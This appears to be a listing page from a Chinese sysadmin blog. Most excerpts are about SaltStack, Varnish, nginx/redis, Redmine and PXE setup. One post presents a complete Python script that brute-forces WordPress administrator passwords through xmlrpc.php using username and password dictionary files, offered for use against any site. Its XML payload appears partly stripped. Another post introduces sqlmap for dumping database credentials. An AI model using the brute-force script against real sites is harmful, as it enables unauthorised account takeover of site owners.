我们常常在使用saltstack的时候,需要根据不同主机名或id去区分不同业务,不同环境,同时我们又不想写太多配置文件,在saltstack里提供了salt[‘grains.filter_by’]的使用方法,可以轻松快速帮我们解决多环境下发不同配置文件及参数,直接上代码

我的主机名如下

[root@localhost ~]# salt 'java-15' grains.item fqdn
java-15:
  fqdn: l-salttest1.ops.beta.bj1

我们新建一个map.jinja文件

{% set env = salt['grains.filter_by']({
    'prod': {
        'file_path': '/tmp/prod.txt',
        'salt_source_path': 'salt://test/test.conf',

    },
    'beta': {
        'file_path': '/tmp/beta.txt',
        'salt_source_path': 'salt://test/test.conf',
    },
}, 'env', default='st')%}

在我们的init.sls中引用我们添加的变量,这里我们要注意哦 import env是set env,env就是你定议需要加载的名称就是一个json的key,你可以定义多个

{% from 'test/map.jinja' import env with context %}

test:
  file.managed:
    - source: {{env.salt_source_path}}
    - name: {{ env.file_path }}
    - user: root
    - group: root
    - mode: 644
    - template: jinja

看我们使用的结果

salt2

 

这里salt自动截取我们fqdn中的值做key,需要使用自定义grains
我的grains定义如下

# !/usr/bin/env python
#-*- coding: utf-8 -*-
#=============================================================================
#     FileName: node.py
#         Desc:
#       Author: 苦咖啡
#        Email: voilet@qq.com
#     HomePage: http://blog.kukafei520.net
#      Version: 0.0.1
#   LastChange: 2014-08-20
#      History:
#=============================================================================
import commands
def node():
    """
    取主机名相应字段
    """
    grains = {}
    hostname = commands.getoutput("hostname")
    data = hostname.split(".")
    grains['room'] = data[-1]
    grains['env'] = data[2]
    grains['project'] = data[1]
    grains['pro_name'] = data[0].split("-")[1]
    return grains

然后执行以下命令

state “*” saltutil.sync_all

salt ‘*’ sys.reload_modules

 

我们来看下代码
salt3

def filter_by(lookup_dict, grain='os_family', merge=None, default='default'):
   ret = lookup_dict.get(
            __grains__.get(
                grain, default),
            lookup_dict.get(
                default, None)
            )

    if merge:
        if not isinstance(merge, collections.Mapping):
            raise SaltException('filter_by merge argument must be a dictionary.')

        else:

            if ret is None:
                ret = merge

            else:
                salt.utils.dictupdate.update(ret, merge)

    return ret

其实非常简单,第一个传一个字典,第二个是我们传的变量,默认是取当前系统是centos还是debian,所以只要传我们自己定义的变量,就可以获取到我们想要的key和value

九月 1st, 2014

Posted In: 网络技术

根据freebuf代码修改,使用requests进行请求,中间使用连接符替换原有字符串相加,减少CPU运算量,以下为修改代码

# !/usr/bin/env python
#-*- coding: utf-8 -*-
#=============================================================================
#     FileName: wordpress_xmlrpc.py
#         Desc:
#       Author: 苦咖啡
#        Email: voilet@qq.com
#     HomePage: http://blog.kukafei520.net
#      Version: 0.0.1
#   LastChange: 2014-08-01
#      History: 
#=============================================================================
import requests

import re

def GetUrl():
    urlinput=raw_input("请输入wordpress站点:")
    requrl="http://"+re.match(r"(http://)?(.*)",urlinput).expand('\g<2>')+"/xmlrpc.php"
    print "尝试利用:"+requrl
    return requrl

def Aviable(requrl):
    """

    :param requrl:
    :return:
    """
    try:
        result = requests.get(requrl, timeout=5)
        if result.text == "XML-RPC server accepts POST requests only.":
            print "\n该站点存在此漏洞,尝试破解中:"
            return True

        else:
            return False
    except:

        print "抱歉,此站点漏洞不可用"
        return False



def Exploit():
    """
    说明:
    1.在本文件同目录下新建username.txt、password.txt分别存入用户名、密码字典
    2.按提示输入WordPress站点(例如:blog.kukafei520.net)

    """
    requrl = GetUrl()

    if Aviable(requrl):
        f_username = open("username.txt", "r")
        f_password = open("password.txt", "r")
        num = 0
        Flag = 0
        for name in f_username:
            if Flag == 1:
                break
            for key in f_password:
                if num == 0:
                    print "开始尝试...."
                else:
                    if num % 10 == 0:
                        print "已尝试"+str(num)+"个"
                reqdata='wp.getUsersBlogs\
                        '+ name + \
                        ''+ key  +\
                        ''

                req = requests.post(url=requrl, data=reqdata)
                result = req.text
                num = num+1

                if "isAdmin" in result:

                    hacker_data = "用户名: %s 密码: %s" % (name, key)
                    print hacker_data
                    Flag = 1

                    break

                elif "faultString" and "403" in result:
                    continue

                else:
                    print "Unknown error"
        f_username.close()
        f_password.close()
        if not Flag:
            print "抱歉,在此字典中未找到正确的密码"

if __name__ == '__main__':
    print Exploit.__doc__
    Exploit()

八月 1st, 2014

Posted In: 网络技术

from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/

0x00 背景介绍


1. 什么是SQL注入?

SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中我会向你展示在Kali Linux上如何借助SQLMAP来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

 

2. 什么是SQLMAP?

SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。

访问SQLMAP的官方网站http://www.sqlmap.org可以获得SQLMAP更为详细的介绍,如它的多项特性,最为突出的是SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL与Access等各种数据库的SQL侦测和注入,同时可以进行六种注入攻击。

还有很重要的一点必须说明:在你实施攻击之前想想那些网站的建立者或者维护者,他们为网站耗费了大量的时间和努力,并且很有可能以此维生。你的行为可能会以你永远都不希望的方式影响到别人。我想我已经说的够清楚了。(PS:请慎重攻击,不要做违法的事情)

PS:之前在wooyun上看了一些关于SQLMAP的文章,受益匪浅,今天翻译这篇文章,是希望对于如何使用SQLMAP提供一个基本的框架,SQL注入的原理以及SQLMAP详细的命令参数和不同的应用实例可以参考下面的文章:

SQL注射原理:http://drops.wooyun.org/papers/59

SQLMAP用户手册:http://drops.wooyun.org/tips/143

SQLMAP实例COOKBOOK:http://drops.wooyun.org/tips/1343 (更多…)

六月 4th, 2014

Posted In: 网络技术

最近一直在使用saltstack,每次使用到file模块都还需要去查文档,今天在此记录,以便以后使用

文档:http://docs.saltstack.com/ref/states/all/salt.states.file.html

本文中用的top.sls

/srv/salt/top.sls
test:
  'minion1':
    - file

创建
1. 空文件

/srv/salt/test/file.sls 
/tmp/a.txt:
  file.managed

2. 根据模板文件生成文件

/srv/salt/test/file.sls
/tmp/a.txt:
  file.managed:
    - source: salt://files/a.txt

/srv/salt/test/files/a.txt
just a test

3. 根据变量生成文件

/srv/salt/test/file.sls
/tmp/a.txt:
  file.managed:
    - source: salt://files/a.txt
    - template: jinja
/srv/salt/test/files/a.txt
{{ pillar['os'] }}

(更多…)

五月 4th, 2014

Posted In: 网络技术

在我们使用saltstack推送配置文件时,会考滤到下发配置文件或代码都是不同的环境,比如开发环境,测试环境,或是qa环境,如何时来切分或是来分类了,saltstack在最初设计时都考滤的很清楚了,以下看看官方的配置和使用方法

3.3.5. States tutorial, part

This tutorial builds on topics covered in part 1part 2 and part 3. It is recommended that you begin there.

This part of the tutorial will show how to use salt’s file_roots to set up a workflow in which states can be “promoted” from dev, to QA, to production.

3.3.5.1. SALT FILESERVER PATH INHERITANCE

Salt’s fileserver allows for more than one root directory per environment, like in the below example, which uses both a local directory and a secondary location shared to the salt master via NFS:

# In the master config file (/etc/salt/master)
file_roots:
  base:
    - /srv/salt
    - /mnt/salt-nfs/base

Salt’s fileserver collapses the list of root directories into a single virtual environment containing all files from each root. If the same file exists at the same relative path in more than one root, then the top-most match “wins”. For example, if /srv/salt/foo.txt and /mnt/salt-nfs/base/foo.txt both exist, then salt://foo.txt will point to /srv/salt/foo.txt.

四月 19th, 2014

Posted In: 网络技术

最近在做一个表单前台验证,由于自己的js是弱项,网上找到了一个不错的表单验证,功能非常完善,先截张图看看,可使用dom验证或者加入js来验证,主机名和mac全部做了异步验证,查看数据库是否有此数据

window.$ && $(function(){
//验证初始化
$('#signupForm').validator({
    //stopOnError:true,
    //timely: 2,
	theme: "yellow_right_effect",
    showOk: "",
    //自定义规则(PS:建议尽量在全局配置中定义规则,统一管理)
    rules: {
        check_node: [/^((l|i)-){0,1}(n-[a-z0-9]+|[a-z0-9]{1,10}\.[a-z0-9]{1,10}\.({% for i in Environment %}{% if forloop.last %}{{ i }}{% else %}{{ i }}|{% endif %}{% endfor %}))\.(({% for i in idc %}{% if forloop.last %}{{ i }}{% else %}{{ i }}|{% endif %}{% endfor %})\.)(jumei.com|jumei.com.)+$/, '主机名不正确'],
        check_mac: [/^([0-9A-Fa-f]{2})(-[0-9A-Fa-f]{2}){5}|([0-9A-Fa-f]{2})(:[0-9A-Fa-f]{2}){5}$/, 'MAC不正确'] //验证mac
    },
    fields: {
        "node_name": {
            rule: "required;check_node;remote[/assets/select, node_name, csrfmiddlewaretoken]",
            tip: "输入主机名",
            ok: "",
            msg: {required: "主机名必须填写!"},
            data: {'data-ok':"主机名可以使用", 'data-msg-required': '主机名已正确'}
        },
        "mac": {
            rule: "required;check_mac",
            tip: "输入MAC",
            ok: "",
            msg: {required: "MAC必须填写!"}
        }
    }
});

});
//代码高亮
window.highlight && highlight();

dom型验证就更加简单了,直接在表单里面写你要验证的方法和返回的top及错误信息

<input type="password" name="demo"
data-rule="required; password"
data-rule-password="[/^\d{6}$/, '请填写6位数字']"
data-msg-required="请填写密码"
data-tip="密码由6位数字组成"
data-ok="别担心,稍后您还可以更改"
data-target="#msg_holder"
>

 

QQ截图20140120090119

更多方法请参考字方手册
http://niceue.com/validator/demo/

一月 20th, 2014

Posted In: 网络技术

同志们,朋友们,抛弃phpredis扩展吧,使用nginx直接查redis……真的假的自己看看吧,春哥的模块哦

https://github.com/agentzh/redis2-nginx-module.git

wget 'http://nginx.org/download/nginx-1.2.7.tar.gz'
    tar -xzvf nginx-1.2.7.tar.gz
    cd nginx-1.2.7/

    # Here we assume you would install you nginx under /opt/nginx/.
    ./configure --prefix=/opt/nginx \
                --add-module=/path/to/redis2-nginx-module

    make -j2
    make install
location /foo {
        set $value 'first';
        redis2_query set one $value;
        redis2_pass 127.0.0.1:6379;
    }
 (更多…)

十一月 26th, 2013

Posted In: 网络技术

#!/usr/local/python2.7/bin/python
# -*- coding:utf-8 -*-
#file:check_list_game.py
#create file 'songxs'
#blog:kukafei520.net

from multiprocessing import Process
import re,sys,urllib,codecs,os
import string
import json,codecs
import smtplib
from email.mime.text import MIMEText
#############
mailto_list=["voilet@qq.com"]
#####################
#设置服务器,用户名、口令以及邮箱的后缀
mail_host="xxxxx.qq.com"
mail_user="用户名"
mail_pass="密码"
mail_postfix="qq.com"
###################### (更多…)

三月 5th, 2013

Posted In: 网络技术

Burp Suite 是用于对web 应用程序进行渗透测试的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快渗透测试应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。

20130227095832_97781

下载地址:
百度网盘 (解压密码:freebuf)

来源[sina]

转截: FreebuF.COM

 

三月 1st, 2013

Posted In: 网络技术

最近一直在做安全,看到有一个php的安全测试模块,功能还不错

http://pecl.php.net/package/taint

下载源代码以后, 编译, 安装. 然后在php.ini中要开启这个扩展(建议不要在生产环境开启这个扩展):

/usr/local/php/bin/phpize
./configure –with-php-config=/usr/local/php/bin/php-config
make && make install
然后在php.ini中添下以下配置重启php即可(建议不要在生产环境开启这个扩展):
extension=taint.so
taint.enable=1

启用这个扩展以后, 如果在一些关键函数(或者语句: echo, print, system, exec, 等等), 或者输出的地方*直接*(没有经过转义, 安全过滤处理)使用了来自$_GET, $_POST或者$_COOKIE的数据, 则Taint就会提示你:

一月 18th, 2013

Posted In: 网络技术

自己在学习python中看到别人写的代码拿过来改了改,只供参考,本段代码是从网易源取rpm包下载地址
因在做puppet集群化管理,在自己做一些rpm安装包,但基础包还是官方出的好,不用重新做,所以就取了官方的源做自己的源

#win python 2.7.x
import re,sys,urllib,codecs
xh = urllib.urlopen("http://mirrors.163.com/centos/5/os/x86_64/CentOS/").read().decode('utf-8')
rc = re.compile(r'href=.*?((?P.*?))>',re.I)
match = rc.finditer(xh)
rcr = re.compile(r'">',re.I)
f = codecs.open("xiaohei.txt", "w", "utf-8")
for i in rc.finditer(xh):
    ss = i.group(0)
    s1 = rcr.sub('',ss)
    s1=s1.replace('href="','wget http://mirrors.163.com/centos/5/os/x86_64/CentOS/')
    print (s1)
    f.write(s1)
f.close()

参考地址:http://www.oschina.net/code/snippet_204035_13570

九月 13th, 2012

Posted In: 网络技术

标签:

Varnish是一个轻量级的Cache和反向代理软件,先进的设计理念和成熟的设计框架是Varnish的主要特点,现在的Varnish总共代码量不大,功能上虽然在不断改进,但是还需要继续丰富和加强。下面总结了Varnish的一些特点:
(1)是基于内存缓存,重启后数据将消失。
(2)利用虚拟内存方式,io性能好。
(3)支持设置0~60秒内的精确缓存时间。
(4)VCL配置管理比较灵活。
(5)32位机器上缓存文件大小为最大2G。
(6)具有强大的管理功能,例如top,stat,admin,list等。
(7)状态机设计巧妙,结构清晰。
(8)利用二叉堆管理缓存文件,达到积极删除目的。

Varnish的Storage方式可分为两种:
1)Malloc 通过malloc获取内存。
2)Mmap file 创建大文件,通过二分法分段映射成1G以内的大块。

Varnish进程的工作模式:
varnish启动或有2个进程 master(management)进程和child(worker)进程。master读入存储配置命令,进行初始化,然后fork,监控child。child则分配线程进行cache工作,child还会做管理线程和生成很多worker线程。
child进程主线程初始化过程中,将存储大文件整个加载到内存中,如果该文件超出系统的虚拟内存,则会减少原来配置mmap大小,然后继续加载,这时候创建并初始化空闲存储结构体,放在存储管理的struct中,等待分配。
接着varnish某个负责接口新http连接的线程开始等待用户,如果有新的http连接,但是这个线程只负责接收,然后唤醒等待线程池中的work线程,进行请求处理。
worker线程读入uri后,将会查找已有的object,命中直接返回,没有命中,则会从后端服务器中取出来,放到缓存中。如果缓存已满,会根据LRU算法,释放旧的object。对于释放缓存,有一个超时线程会检测缓存中所有object的生命周期,如果缓存过期(ttl),则删除,释放相应的存储内存。

Varnish的实际压力测试:
硬件环境

PowerEdge R610
硬件环境 CPU Intel(R) Xeon(R) CPU E5620 @ 2.40GHz
内存 12G
硬盘 单盘raid0(150G * 3块)

软件环境

OS版本 centos5.4
Kernal 2.6.18-164.el5
varnishd 2.1.5

测试工具:
消减网络频宽/吞吐量,在相同服务器上生成负载,使用Apache Bench工具(修改后的ab)模仿线上访问,将百万的url请求以顺序的方式读取,然后用2台服务器启动多个ab一次产生的请求500个请求循环N次请求到varnish服务器。 (更多…)

六月 14th, 2012

Posted In: 网络技术

概述

微信开放平台欢迎开发者通过微信开放接口接入第三方应用。

 

在这里,与亿级产品合作不再是梦想;在这里,完善的开发文档、丰富的合作案例,总有一种接入方式适合你与微信;在这里,点子不再是空想,创意不再是空话,它们将在微信这个巨大的信息平台同你的应用一起传播。 你可以登录开放平台并创建应用,使用微信提供的开放接口,让你有趣的应用或网站与微信一同成长。

功能

聊天

面对一张美丽的图片,一首优美的音乐,一段精彩的视频,一则有趣的新闻……,你的用户是否苦于不能把它们及时分享给好友?看看微信为你准备的解决方案:

用户在第三方手机应用中通过调用微信可将指定内容分享到微信任一对话中。为了保证用户使用体验的连贯性,在微信端完成分享后用户将返回第三方手机应用继续之前的操作。 微信用户在会话中通过附件栏直接调用第三方手机应用进行消息分。同样为了保证用户使用体验的连贯性,在第三方手机应用完成分享后,微信用户将返回之前的会话界面。

开发者可选择让微信用户使用微信、网页、第三方手机应用打开微信好友分享过来的内容,在微信中分享的内容会标注出来源,点击来源将直接打开第三方手机应用或者进入应用下载页面。

朋友圈

朋友圈是微信4.0推出的新功能,微信用户通讯录中的好友均能及时看见朋友圈的内容,微信用户可以将手机应用、PC客户端、网站中的精彩内容快速分享到朋友圈中,朋友圈中分享过来的内容支持网页方式打开,分享的内容同样会标注出来源。

 

 

(更多…)

四月 26th, 2012

Posted In: 网络技术

h1. InstallationGuide

h1. CentOS 5.4环境下的安装部署

以下描述的是在CentOS5.4平台上redmine1.1.3的安装流程和数据迁移过程

h2. 安装流程的官方文档

http://www.redmine.org/projects/redmine/wiki/HowTo_install_Redmine_on_CentOS_5
http://www.redmine.org/projects/redmine/wiki/Redmine+Apache+Passenger_InstallOnRedHat

h2. 系统要求

Ruby 1.8.7 on Rails 2.3.11
MySQL 4 或更高版本(推荐)

h2. 安装步骤 (更多…)

四月 17th, 2012

Posted In: 网络技术

linux pxe + kickstart网络安装

yum -y install tftp-server dhcp

编辑tftp配置文件如下

vi /etc/xinetd.d/tftp
 service tftp
 {
 socket_type = dgram
 protocol = udp
 wait = yes
 user = root
 server = /usr/sbin/in.tftpd
 server_args = -s /tftpboot
 disable = no
 per_source = 11
 cps = 100 2
 flags = IPv4
 }

编辑dhcp配置文件如下

 vi /etc/dhcpd.conf
 ddns-update-style interim;
 ignore client-updates;
 allow booting; #定义能够PXE启动
 allow bootp; #定义支持bootp
 subnet 172.168.1.0 netmask 255.255.255.0 {
 range 172.168.1.2 172.168.1.250;
 option routers 172.168.1.1;
 option subnet-mask 255.255.255.0;
 default-lease-time 21600;
 max-lease-time 43200;
 next-server 172.168.1.1; #TFTP Server的IP地址
 filename "pxelinux.0"; #pxelinux启动文件位置
 }

(更多…)

四月 16th, 2012

Posted In: 网络技术

标签:

下一页 »

无觅相关文章插件,快速提升流量